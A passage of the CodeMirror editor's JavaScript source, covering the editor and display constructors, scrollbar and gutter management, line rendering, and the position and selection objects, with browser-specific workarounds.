if (presto_version) presto_version = Number(presto_version[1]); if (presto_version && presto_version >= 15) { presto = false; webkit = true; } // Some browsers use the wrong event properties to signal cmd/ctrl on OS X var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11)); var captureRightClick = gecko || (ie && ie_version >= 9); // Optimize some code when these features are not used. var sawReadOnlySpans = false, sawCollapsedSpans = false; // EDITOR CONSTRUCTOR // A CodeMirror instance represents an editor. This is the object // that user code is usually dealing with. function CodeMirror(place, options) { if (!(this instanceof CodeMirror)) return new CodeMirror(place, options); this.options = options = options || {}; // Determine effective options based on given values and defaults. copyObj(defaults, options, false); setGuttersForLineNumbers(options); var doc = options.value; if (typeof doc == "string") doc = new Doc(doc, options.mode); this.doc = doc; var display = this.display = new Display(place, doc); display.wrapper.CodeMirror = this; updateGutters(this); themeChanged(this); if (options.lineWrapping) this.display.wrapper.className += " CodeMirror-wrap"; if (options.autofocus && !mobile) focusInput(this); this.state = { keyMaps: [], // stores maps added by addKeyMap overlays: [], // highlighting overlays, as added by addOverlay modeGen: 0, // bumped when mode/overlay changes, used to invalidate highlighting info overwrite: false, focused: false, suppressEdits: false, // used to disable editing during key handlers when in readOnly mode pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in readInput draggingText: false, highlight: new Delayed() // stores highlight worker timeout }; // Override magic textarea content restore that IE sometimes does // on our hidden textarea on reload if (ie && ie_version < 11) setTimeout(bind(resetInput, this, true), 20); registerEventHandlers(this); ensureGlobalHandlers(); var cm = this; runInOp(this, function() { cm.curOp.forceUpdate = true; attachDoc(cm, doc); if ((options.autofocus && !mobile) || activeElt() == display.input) setTimeout(bind(onFocus, cm), 20); else onBlur(cm); for (var opt in optionHandlers) if (optionHandlers.hasOwnProperty(opt)) optionHandlers[opt](cm, options[opt], Init); maybeUpdateLineNumberWidth(cm); for (var i = 0; i < initHooks.length; ++i) initHooks[i](cm); }); } // DISPLAY CONSTRUCTOR // The display handles the DOM integration, both for input reading // and content drawing. It holds references to DOM nodes and // display-related state. function Display(place, doc) { var d = this; // The semihidden textarea that is focused when the editor is // focused, and receives input. var input = d.input = elt("textarea", null, null, "position: absolute; padding: 0; width: 1px; height: 1em; outline: none"); // The textarea is kept positioned near the cursor to prevent the // fact that it'll be scrolled into view on input from scrolling // our fake cursor out of view. On webkit, when wrap=off, paste is // very slow. So make the area wide instead. if (webkit) input.style.width = "1000px"; else input.setAttribute("wrap", "off"); // If border: 0; -- iOS fails to open keyboard (issue #1287) if (ios) input.style.border = "1px solid black"; input.setAttribute("autocorrect", "off"); input.setAttribute("autocapitalize", "off"); input.setAttribute("spellcheck", "false"); // Wraps and hides input textarea d.inputDiv = elt("div", [input], null, "overflow: hidden; position: relative; width: 3px; height: 0px;"); // The fake scrollbar elements. d.scrollbarH = elt("div", [elt("div", null, null, "height: 100%; min-height: 1px")], "CodeMirror-hscrollbar"); d.scrollbarV = elt("div", [elt("div", null, null, "min-width: 1px")], "CodeMirror-vscrollbar"); // Covers bottom-right square when both scrollbars are present. d.scrollbarFiller = elt("div", null, "CodeMirror-scrollbar-filler"); // Covers bottom of gutter when coverGutterNextToScrollbar is on // and h scrollbar is present. d.gutterFiller = elt("div", null, "CodeMirror-gutter-filler"); // Will contain the actual code, positioned to cover the viewport. d.lineDiv = elt("div", null, "CodeMirror-code"); // Elements are added to these to represent selection and cursors. d.selectionDiv = elt("div", null, null, "position: relative; z-index: 1"); d.cursorDiv = elt("div", null, "CodeMirror-cursors"); // A visibility: hidden element used to find the size of things. d.measure = elt("div", null, "CodeMirror-measure"); // When lines outside of the viewport are measured, they are drawn in this. d.lineMeasure = elt("div", null, "CodeMirror-measure"); // Wraps everything that needs to exist inside the vertically-padded coordinate system d.lineSpace = elt("div", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv], null, "position: relative; outline: none"); // Moved around its parent to cover visible view. d.mover = elt("div", [elt("div", [d.lineSpace], "CodeMirror-lines")], null, "position: relative"); // Set to the height of the document, allowing scrolling. d.sizer = elt("div", [d.mover], "CodeMirror-sizer"); // Behavior of elts with overflow: auto and padding is // inconsistent across browsers. This is used to ensure the // scrollable area is big enough. d.heightForcer = elt("div", null, null, "position: absolute; height: " + scrollerCutOff + "px; width: 1px;"); // Will contain the gutters, if any. d.gutters = elt("div", null, "CodeMirror-gutters"); d.lineGutter = null; // Actual scrollable element. d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters], "CodeMirror-scroll"); d.scroller.setAttribute("tabIndex", "-1"); // The element in which the editor lives. d.wrapper = elt("div", [d.inputDiv, d.scrollbarH, d.scrollbarV, d.scrollbarFiller, d.gutterFiller, d.scroller], "CodeMirror"); // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported) if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; } // Needed to hide big blue blinking cursor on Mobile Safari if (ios) input.style.width = "0px"; if (!webkit) d.scroller.draggable = true; // Needed to handle Tab key in KHTML if (khtml) { d.inputDiv.style.height = "1px"; d.inputDiv.style.position = "absolute"; } // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8). if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = "18px"; if (place.appendChild) place.appendChild(d.wrapper); else place(d.wrapper); // Current rendered range (may be bigger than the view window). d.viewFrom = d.viewTo = doc.first; // Information about the rendered lines. d.view = []; // Holds info about a single rendered line when it was rendered // for measurement, while not in view. d.externalMeasured = null; // Empty space (in pixels) above the view d.viewOffset = 0; d.lastSizeC = 0; d.updateLineNumbers = null; // Used to only resize the line number gutter when necessary (when // the amount of lines crosses a boundary that makes its width change) d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null; // See readInput and resetInput d.prevInput = ""; // Set to true when a non-horizontal-scrolling line widget is // added. As an optimization, line widget aligning is skipped when // this is false. d.alignWidgets = false; // Flag that indicates whether we expect input to appear real soon // now (after some event like 'keypress' or 'input') and are // polling intensively. d.pollingFast = false; // Self-resetting timeout for the poller d.poll = new Delayed(); d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null; // Tracks when resetInput has punted to just putting a short // string into the textarea instead of the full selection. d.inaccurateSelection = false; // Tracks the maximum line length so that the horizontal scrollbar // can be kept static when scrolling. d.maxLine = null; d.maxLineLength = 0; d.maxLineChanged = false; // Used for measuring wheel scrolling granularity d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null; // True when shift is held down. d.shift = false; // Used to track whether anything happened since the context menu // was opened. d.selForContextMenu = null; } // STATE UPDATES // Used to get the editor into a consistent state again when options change. function loadMode(cm) { cm.doc.mode = CodeMirror.getMode(cm.options, cm.doc.modeOption); resetModeState(cm); } function resetModeState(cm) { cm.doc.iter(function(line) { if (line.stateAfter) line.stateAfter = null; if (line.styles) line.styles = null; }); cm.doc.frontier = cm.doc.first; startWorker(cm, 100); cm.state.modeGen++; if (cm.curOp) regChange(cm); } function wrappingChanged(cm) { if (cm.options.lineWrapping) { addClass(cm.display.wrapper, "CodeMirror-wrap"); cm.display.sizer.style.minWidth = ""; } else { rmClass(cm.display.wrapper, "CodeMirror-wrap"); findMaxLine(cm); } estimateLineHeights(cm); regChange(cm); clearCaches(cm); setTimeout(function(){updateScrollbars(cm);}, 100); } // Returns a function that estimates the height of a line, to use as // first approximation until the line becomes visible (and is thus // properly measurable). function estimateHeight(cm) { var th = textHeight(cm.display), wrapping = cm.options.lineWrapping; var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3); return function(line) { if (lineIsHidden(cm.doc, line)) return 0; var widgetsHeight = 0; if (line.widgets) for (var i = 0; i < line.widgets.length; i++) { if (line.widgets[i].height) widgetsHeight += line.widgets[i].height; } if (wrapping) return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th; else return widgetsHeight + th; }; } function estimateLineHeights(cm) { var doc = cm.doc, est = estimateHeight(cm); doc.iter(function(line) { var estHeight = est(line); if (estHeight != line.height) updateLineHeight(line, estHeight); }); } function keyMapChanged(cm) { var map = keyMap[cm.options.keyMap], style = map.style; cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-keymap-\S+/g, "") + (style ? " cm-keymap-" + style : ""); } function themeChanged(cm) { cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") + cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-"); clearCaches(cm); } function guttersChanged(cm) { updateGutters(cm); regChange(cm); setTimeout(function(){alignHorizontally(cm);}, 20); } // Rebuild the gutter elements, ensure the margin to the left of the // code matches their width. function updateGutters(cm) { var gutters = cm.display.gutters, specs = cm.options.gutters; removeChildren(gutters); for (var i = 0; i < specs.length; ++i) { var gutterClass = specs[i]; var gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + gutterClass)); if (gutterClass == "CodeMirror-linenumbers") { cm.display.lineGutter = gElt; gElt.style.width = (cm.display.lineNumWidth || 1) + "px"; } } gutters.style.display = i ? "" : "none"; updateGutterSpace(cm); } function updateGutterSpace(cm) { var width = cm.display.gutters.offsetWidth; cm.display.sizer.style.marginLeft = width + "px"; cm.display.scrollbarH.style.left = cm.options.fixedGutter ? width + "px" : 0; } // Compute the character length of a line, taking into account // collapsed ranges (see markText) that might hide parts, and join // other lines onto it. function lineLength(line) { if (line.height == 0) return 0; var len = line.text.length, merged, cur = line; while (merged = collapsedSpanAtStart(cur)) { var found = merged.find(0, true); cur = found.from.line; len += found.from.ch - found.to.ch; } cur = line; while (merged = collapsedSpanAtEnd(cur)) { var found = merged.find(0, true); len -= cur.text.length - found.from.ch; cur = found.to.line; len += cur.text.length - found.to.ch; } return len; } // Find the longest line in the document. function findMaxLine(cm) { var d = cm.display, doc = cm.doc; d.maxLine = getLine(doc, doc.first); d.maxLineLength = lineLength(d.maxLine); d.maxLineChanged = true; doc.iter(function(line) { var len = lineLength(line); if (len > d.maxLineLength) { d.maxLineLength = len; d.maxLine = line; } }); } // Make sure the gutters options contains the element // "CodeMirror-linenumbers" when the lineNumbers option is true. function setGuttersForLineNumbers(options) { var found = indexOf(options.gutters, "CodeMirror-linenumbers"); if (found == -1 && options.lineNumbers) { options.gutters = options.gutters.concat(["CodeMirror-linenumbers"]); } else if (found > -1 && !options.lineNumbers) { options.gutters = options.gutters.slice(0); options.gutters.splice(found, 1); } } // SCROLLBARS function hScrollbarTakesSpace(cm) { return cm.display.scroller.clientHeight - cm.display.wrapper.clientHeight < scrollerCutOff - 3; } // Prepare DOM reads needed to update the scrollbars. Done in one // shot to minimize update/measure roundtrips. function measureForScrollbars(cm) { var scroll = cm.display.scroller; return { clientHeight: scroll.clientHeight, barHeight: cm.display.scrollbarV.clientHeight, scrollWidth: scroll.scrollWidth, clientWidth: scroll.clientWidth, hScrollbarTakesSpace: hScrollbarTakesSpace(cm), barWidth: cm.display.scrollbarH.clientWidth, docHeight: Math.round(cm.doc.height + paddingVert(cm.display)) }; } // Re-synchronize the fake scrollbars with the actual size of the // content. function updateScrollbars(cm, measure) { if (!measure) measure = measureForScrollbars(cm); var d = cm.display, sWidth = scrollbarWidth(d.measure); var scrollHeight = measure.docHeight + scrollerCutOff; var needsH = measure.scrollWidth > measure.clientWidth; if (needsH && measure.scrollWidth <= measure.clientWidth + 1 && sWidth > 0 && !measure.hScrollbarTakesSpace) needsH = false; // (Issue #2562) var needsV = scrollHeight > measure.clientHeight; if (needsV) { d.scrollbarV.style.display = "block"; d.scrollbarV.style.bottom = needsH ? sWidth + "px" : "0"; // A bug in IE8 can cause this value to be negative, so guard it. d.scrollbarV.firstChild.style.height = Math.max(0, scrollHeight - measure.clientHeight + (measure.barHeight || d.scrollbarV.clientHeight)) + "px"; } else { d.scrollbarV.style.display = ""; d.scrollbarV.firstChild.style.height = "0"; } if (needsH) { d.scrollbarH.style.display = "block"; d.scrollbarH.style.right = needsV ? sWidth + "px" : "0"; d.scrollbarH.firstChild.style.width = (measure.scrollWidth - measure.clientWidth + (measure.barWidth || d.scrollbarH.clientWidth)) + "px"; } else { d.scrollbarH.style.display = ""; d.scrollbarH.firstChild.style.width = "0"; } if (needsH && needsV) { d.scrollbarFiller.style.display = "block"; d.scrollbarFiller.style.height = d.scrollbarFiller.style.width = sWidth + "px"; } else d.scrollbarFiller.style.display = ""; if (needsH && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) { d.gutterFiller.style.display = "block"; d.gutterFiller.style.height = sWidth + "px"; d.gutterFiller.style.width = d.gutters.offsetWidth + "px"; } else d.gutterFiller.style.display = ""; if (!cm.state.checkedOverlayScrollbar && measure.clientHeight > 0) { if (sWidth === 0) { var w = mac && !mac_geMountainLion ? "12px" : "18px"; d.scrollbarV.style.minWidth = d.scrollbarH.style.minHeight = w; var barMouseDown = function(e) { if (e_target(e) != d.scrollbarV && e_target(e) != d.scrollbarH) operation(cm, onMouseDown)(e); }; on(d.scrollbarV, "mousedown", barMouseDown); on(d.scrollbarH, "mousedown", barMouseDown); } cm.state.checkedOverlayScrollbar = true; } } // Compute the lines that are visible in a given viewport (defaults // the the current scroll position). viewport may contain top, // height, and ensure (see op.scrollToPos) properties. function visibleLines(display, doc, viewport) { var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop; top = Math.floor(top - paddingTop(display)); var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight; var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom); // Ensure is a {from: {line, ch}, to: {line, ch}} object, and // forces those lines into the viewport (if possible). if (viewport && viewport.ensure) { var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line; if (ensureFrom < from) return {from: ensureFrom, to: lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight)}; if (Math.min(ensureTo, doc.lastLine()) >= to) return {from: lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight), to: ensureTo}; } return {from: from, to: Math.max(to, from + 1)}; } // LINE NUMBERS // Re-align line numbers and gutter marks to compensate for // horizontal scrolling. function alignHorizontally(cm) { var display = cm.display, view = display.view; if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return; var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft; var gutterW = display.gutters.offsetWidth, left = comp + "px"; for (var i = 0; i < view.length; i++) if (!view[i].hidden) { if (cm.options.fixedGutter && view[i].gutter) view[i].gutter.style.left = left; var align = view[i].alignable; if (align) for (var j = 0; j < align.length; j++) align[j].style.left = left; } if (cm.options.fixedGutter) display.gutters.style.left = (comp + gutterW) + "px"; } // Used to ensure that the line number gutter is still the right // size for the current document size. Returns true when an update // is needed. function maybeUpdateLineNumberWidth(cm) { if (!cm.options.lineNumbers) return false; var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display; if (last.length != display.lineNumChars) { var test = display.measure.appendChild(elt("div", [elt("div", last)], "CodeMirror-linenumber CodeMirror-gutter-elt")); var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW; display.lineGutter.style.width = ""; display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding); display.lineNumWidth = display.lineNumInnerWidth + padding; display.lineNumChars = display.lineNumInnerWidth ? last.length : -1; display.lineGutter.style.width = display.lineNumWidth + "px"; updateGutterSpace(cm); return true; } return false; } function lineNumberFor(options, i) { return String(options.lineNumberFormatter(i + options.firstLineNumber)); } // Computes display.scroller.scrollLeft + display.gutters.offsetWidth, // but using getBoundingClientRect to get a sub-pixel-accurate // result. function compensateForHScroll(display) { return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left; } // DISPLAY DRAWING function DisplayUpdate(cm, viewport, force) { var display = cm.display; this.viewport = viewport; // Store some values that we'll need later (but don't want to force a relayout for) this.visible = visibleLines(display, cm.doc, viewport); this.editorIsHidden = !display.wrapper.offsetWidth; this.wrapperHeight = display.wrapper.clientHeight; this.oldViewFrom = display.viewFrom; this.oldViewTo = display.viewTo; this.oldScrollerWidth = display.scroller.clientWidth; this.force = force; this.dims = getDimensions(cm); } // Does the actual updating of the line display. Bails out // (returning false) when there is nothing to be done and forced is // false. function updateDisplayIfNeeded(cm, update) { var display = cm.display, doc = cm.doc; if (update.editorIsHidden) { resetView(cm); return false; } // Bail out if the visible area is already rendered and nothing changed. if (!update.force && update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo && (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) && countDirtyView(cm) == 0) return false; if (maybeUpdateLineNumberWidth(cm)) { resetView(cm); update.dims = getDimensions(cm); } // Compute a suitable new viewport (from & to) var end = doc.first + doc.size; var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first); var to = Math.min(end, update.visible.to + cm.options.viewportMargin); if (display.viewFrom < from && from - display.viewFrom < 20) from = Math.max(doc.first, display.viewFrom); if (display.viewTo > to && display.viewTo - to < 20) to = Math.min(end, display.viewTo); if (sawCollapsedSpans) { from = visualLineNo(cm.doc, from); to = visualLineEndNo(cm.doc, to); } var different = from != display.viewFrom || to != display.viewTo || display.lastSizeC != update.wrapperHeight; adjustView(cm, from, to); display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom)); // Position the mover div to align with the current scroll position cm.display.mover.style.top = display.viewOffset + "px"; var toUpdate = countDirtyView(cm); if (!different && toUpdate == 0 && !update.force && (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo)) return false; // For big changes, we hide the enclosing element during the // update, since that speeds up the operations on most browsers. var focused = activeElt(); if (toUpdate > 4) display.lineDiv.style.display = "none"; patchDisplay(cm, display.updateLineNumbers, update.dims); if (toUpdate > 4) display.lineDiv.style.display = ""; // There might have been a widget with a focused element that got // hidden or updated, if so re-focus it. if (focused && activeElt() != focused && focused.offsetHeight) focused.focus(); // Prevent selection and cursors from interfering with the scroll // width. removeChildren(display.cursorDiv); removeChildren(display.selectionDiv); if (different) { display.lastSizeC = update.wrapperHeight; startWorker(cm, 400); } display.updateLineNumbers = null; return true; } function postUpdateDisplay(cm, update) { var force = update.force, viewport = update.viewport; for (var first = true;; first = false) { if (first && cm.options.lineWrapping && update.oldScrollerWidth != cm.display.scroller.clientWidth) { force = true; } else { force = false; // Clip forced viewport to actual scrollable area. if (viewport && viewport.top != null) viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - scrollerCutOff - cm.display.scroller.clientHeight, viewport.top)}; // Updated line heights might result in the drawn area not // actually covering the viewport. Keep looping until it does. update.visible = visibleLines(cm.display, cm.doc, viewport); if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo) break; } if (!updateDisplayIfNeeded(cm, update)) break; updateHeightsInViewport(cm); var barMeasure = measureForScrollbars(cm); updateSelection(cm); setDocumentHeight(cm, barMeasure); updateScrollbars(cm, barMeasure); } signalLater(cm, "update", cm); if (cm.display.viewFrom != update.oldViewFrom || cm.display.viewTo != update.oldViewTo) signalLater(cm, "viewportChange", cm, cm.display.viewFrom, cm.display.viewTo); } function updateDisplaySimple(cm, viewport) { var update = new DisplayUpdate(cm, viewport); if (updateDisplayIfNeeded(cm, update)) { updateHeightsInViewport(cm); postUpdateDisplay(cm, update); var barMeasure = measureForScrollbars(cm); updateSelection(cm); setDocumentHeight(cm, barMeasure); updateScrollbars(cm, barMeasure); } } function setDocumentHeight(cm, measure) { cm.display.sizer.style.minHeight = cm.display.heightForcer.style.top = measure.docHeight + "px"; cm.display.gutters.style.height = Math.max(measure.docHeight, measure.clientHeight - scrollerCutOff) + "px"; } function checkForWebkitWidthBug(cm, measure) { // Work around Webkit bug where it sometimes reserves space for a // non-existing phantom scrollbar in the scroller (Issue #2420) if (cm.display.sizer.offsetWidth + cm.display.gutters.offsetWidth < cm.display.scroller.clientWidth - 1) { cm.display.sizer.style.minHeight = cm.display.heightForcer.style.top = "0px"; cm.display.gutters.style.height = measure.docHeight + "px"; } } // Read the actual heights of the rendered lines, and update their // stored heights to match. function updateHeightsInViewport(cm) { var display = cm.display; var prevBottom = display.lineDiv.offsetTop; for (var i = 0; i < display.view.length; i++) { var cur = display.view[i], height; if (cur.hidden) continue; if (ie && ie_version < 8) { var bot = cur.node.offsetTop + cur.node.offsetHeight; height = bot - prevBottom; prevBottom = bot; } else { var box = cur.node.getBoundingClientRect(); height = box.bottom - box.top; } var diff = cur.line.height - height; if (height < 2) height = textHeight(display); if (diff > .001 || diff < -.001) { updateLineHeight(cur.line, height); updateWidgetHeight(cur.line); if (cur.rest) for (var j = 0; j < cur.rest.length; j++) updateWidgetHeight(cur.rest[j]); } } } // Read and store the height of line widgets associated with the // given line. function updateWidgetHeight(line) { if (line.widgets) for (var i = 0; i < line.widgets.length; ++i) line.widgets[i].height = line.widgets[i].node.offsetHeight; } // Do a bulk-read of the DOM positions and sizes needed to draw the // view, so that we don't interleave reading and writing to the DOM. function getDimensions(cm) { var d = cm.display, left = {}, width = {}; for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) { left[cm.options.gutters[i]] = n.offsetLeft; width[cm.options.gutters[i]] = n.offsetWidth; } return {fixedPos: compensateForHScroll(d), gutterTotalWidth: d.gutters.offsetWidth, gutterLeft: left, gutterWidth: width, wrapperWidth: d.wrapper.clientWidth}; } // Sync the actual display DOM structure with display.view, removing // nodes for lines that are no longer in view, and creating the ones // that are not there yet, and updating the ones that are out of // date. function patchDisplay(cm, updateNumbersFrom, dims) { var display = cm.display, lineNumbers = cm.options.lineNumbers; var container = display.lineDiv, cur = container.firstChild; function rm(node) { var next = node.nextSibling; // Works around a throw-scroll bug in OS X Webkit if (webkit && mac && cm.display.currentWheelTarget == node) node.style.display = "none"; else node.parentNode.removeChild(node); return next; } var view = display.view, lineN = display.viewFrom; // Loop over the elements in the view, syncing cur (the DOM nodes // in display.lineDiv) with the view as we go. for (var i = 0; i < view.length; i++) { var lineView = view[i]; if (lineView.hidden) { } else if (!lineView.node) { // Not drawn yet var node = buildLineElement(cm, lineView, lineN, dims); container.insertBefore(node, cur); } else { // Already drawn while (cur != lineView.node) cur = rm(cur); var updateNumber = lineNumbers && updateNumbersFrom != null && updateNumbersFrom <= lineN && lineView.lineNumber; if (lineView.changes) { if (indexOf(lineView.changes, "gutter") > -1) updateNumber = false; updateLineForChanges(cm, lineView, lineN, dims); } if (updateNumber) { removeChildren(lineView.lineNumber); lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN))); } cur = lineView.node.nextSibling; } lineN += lineView.size; } while (cur) cur = rm(cur); } // When an aspect of a line changes, a string is added to // lineView.changes. This updates the relevant part of the line's // DOM structure. function updateLineForChanges(cm, lineView, lineN, dims) { for (var j = 0; j < lineView.changes.length; j++) { var type = lineView.changes[j]; if (type == "text") updateLineText(cm, lineView); else if (type == "gutter") updateLineGutter(cm, lineView, lineN, dims); else if (type == "class") updateLineClasses(lineView); else if (type == "widget") updateLineWidgets(lineView, dims); } lineView.changes = null; } // Lines with gutter elements, widgets or a background class need to // be wrapped, and have the extra elements added to the wrapper div function ensureLineWrapped(lineView) { if (lineView.node == lineView.text) { lineView.node = elt("div", null, null, "position: relative"); if (lineView.text.parentNode) lineView.text.parentNode.replaceChild(lineView.node, lineView.text); lineView.node.appendChild(lineView.text); if (ie && ie_version < 8) lineView.node.style.zIndex = 2; } return lineView.node; } function updateLineBackground(lineView) { var cls = lineView.bgClass ? lineView.bgClass + " " + (lineView.line.bgClass || "") : lineView.line.bgClass; if (cls) cls += " CodeMirror-linebackground"; if (lineView.background) { if (cls) lineView.background.className = cls; else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; } } else if (cls) { var wrap = ensureLineWrapped(lineView); lineView.background = wrap.insertBefore(elt("div", null, cls), wrap.firstChild); } } // Wrapper around buildLineContent which will reuse the structure // in display.externalMeasured when possible. function getLineContent(cm, lineView) { var ext = cm.display.externalMeasured; if (ext && ext.line == lineView.line) { cm.display.externalMeasured = null; lineView.measure = ext.measure; return ext.built; } return buildLineContent(cm, lineView); } // Redraw the line's text. Interacts with the background and text // classes because the mode may output tokens that influence these // classes. function updateLineText(cm, lineView) { var cls = lineView.text.className; var built = getLineContent(cm, lineView); if (lineView.text == lineView.node) lineView.node = built.pre; lineView.text.parentNode.replaceChild(built.pre, lineView.text); lineView.text = built.pre; if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) { lineView.bgClass = built.bgClass; lineView.textClass = built.textClass; updateLineClasses(lineView); } else if (cls) { lineView.text.className = cls; } } function updateLineClasses(lineView) { updateLineBackground(lineView); if (lineView.line.wrapClass) ensureLineWrapped(lineView).className = lineView.line.wrapClass; else if (lineView.node != lineView.text) lineView.node.className = ""; var textClass = lineView.textClass ? lineView.textClass + " " + (lineView.line.textClass || "") : lineView.line.textClass; lineView.text.className = textClass || ""; } function updateLineGutter(cm, lineView, lineN, dims) { if (lineView.gutter) { lineView.node.removeChild(lineView.gutter); lineView.gutter = null; } var markers = lineView.line.gutterMarkers; if (cm.options.lineNumbers || markers) { var wrap = ensureLineWrapped(lineView); var gutterWrap = lineView.gutter = wrap.insertBefore(elt("div", null, "CodeMirror-gutter-wrapper", "position: absolute; left: " + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px"), lineView.text); if (cm.options.lineNumbers && (!markers || !markers["CodeMirror-linenumbers"])) lineView.lineNumber = gutterWrap.appendChild( elt("div", lineNumberFor(cm.options, lineN), "CodeMirror-linenumber CodeMirror-gutter-elt", "left: " + dims.gutterLeft["CodeMirror-linenumbers"] + "px; width: " + cm.display.lineNumInnerWidth + "px")); if (markers) for (var k = 0; k < cm.options.gutters.length; ++k) { var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id]; if (found) gutterWrap.appendChild(elt("div", [found], "CodeMirror-gutter-elt", "left: " + dims.gutterLeft[id] + "px; width: " + dims.gutterWidth[id] + "px")); } } } function updateLineWidgets(lineView, dims) { if (lineView.alignable) lineView.alignable = null; for (var node = lineView.node.firstChild, next; node; node = next) { var next = node.nextSibling; if (node.className == "CodeMirror-linewidget") lineView.node.removeChild(node); } insertLineWidgets(lineView, dims); } // Build a line's DOM representation from scratch function buildLineElement(cm, lineView, lineN, dims) { var built = getLineContent(cm, lineView); lineView.text = lineView.node = built.pre; if (built.bgClass) lineView.bgClass = built.bgClass; if (built.textClass) lineView.textClass = built.textClass; updateLineClasses(lineView); updateLineGutter(cm, lineView, lineN, dims); insertLineWidgets(lineView, dims); return lineView.node; } // A lineView may contain multiple logical lines (when merged by // collapsed spans). The widgets for all of them need to be drawn. function insertLineWidgets(lineView, dims) { insertLineWidgetsFor(lineView.line, lineView, dims, true); if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++) insertLineWidgetsFor(lineView.rest[i], lineView, dims, false); } function insertLineWidgetsFor(line, lineView, dims, allowAbove) { if (!line.widgets) return; var wrap = ensureLineWrapped(lineView); for (var i = 0, ws = line.widgets; i < ws.length; ++i) { var widget = ws[i], node = elt("div", [widget.node], "CodeMirror-linewidget"); if (!widget.handleMouseEvents) node.ignoreEvents = true; positionLineWidget(widget, node, lineView, dims); if (allowAbove && widget.above) wrap.insertBefore(node, lineView.gutter || lineView.text); else wrap.appendChild(node); signalLater(widget, "redraw"); } } function positionLineWidget(widget, node, lineView, dims) { if (widget.noHScroll) { (lineView.alignable || (lineView.alignable = [])).push(node); var width = dims.wrapperWidth; node.style.left = dims.fixedPos + "px"; if (!widget.coverGutter) { width -= dims.gutterTotalWidth; node.style.paddingLeft = dims.gutterTotalWidth + "px"; } node.style.width = width + "px"; } if (widget.coverGutter) { node.style.zIndex = 5; node.style.position = "relative"; if (!widget.noHScroll) node.style.marginLeft = -dims.gutterTotalWidth + "px"; } } // POSITION OBJECT // A Pos instance represents a position within the text. var Pos = CodeMirror.Pos = function(line, ch) { if (!(this instanceof Pos)) return new Pos(line, ch); this.line = line; this.ch = ch; }; // Compare two positions, return 0 if they are the same, a negative // number when a is less, and a positive number otherwise. var cmp = CodeMirror.cmpPos = function(a, b) { return a.line - b.line || a.ch - b.ch; }; function copyPos(x) {return Pos(x.line, x.ch);} function maxPos(a, b) { return cmp(a, b) < 0 ? b : a; } function minPos(a, b) { return cmp(a, b) < 0 ? a : b; } // SELECTION / CURSOR // Selection objects are immutable. A new one is created every time // the selection changes. A selection is one or more non-overlapping // (and non-touching) ranges, sorted, and an integer that indicates // which one is the primary selection (the one that's scrolled into // view, that getCursor returns, etc). function Selection(ranges, primIndex) { this.ranges = ranges; this.primIndex = primIndex; } Selection.prototype = { primary: function() { return this.ranges[this.primIndex]; }, equals: function(other) { if (other == this) return true; if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) return false; for (var i = 0; i < this.ranges.length; i++) { var here = this.ranges[i], there = other.ranges[i]; if (cmp(here.anchor, there.anchor) != 0 || cmp(here.head, there.head) != 0) return false; } return true; }, deepCopy: function() { for (var out = [], i = 0; i < this.ranges.length; i++) out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head)); return new Selection(out, this.primIndex); }, somethingSelected: function() { for (var i = 0; i < this.ranges.length; i++) if (!this.ranges[i].empty()) return true; return false; }, contains: function(pos, end) { if (!end) end = pos; for (var i = 0; i < this.ranges.length; i++) { var range = this.ranges[i]; if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0) return i; } return -1; } }; function Range(anchor, head) { this.anchor = anchor; this.head = head; } Range.prototype = { from: function() { return minPos(this.anchor, this.head); }, to: function() { return maxPos(this.anchor, this.head); }, empty: function() { return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch; } }; // Take an unsorted, potentially overlapping 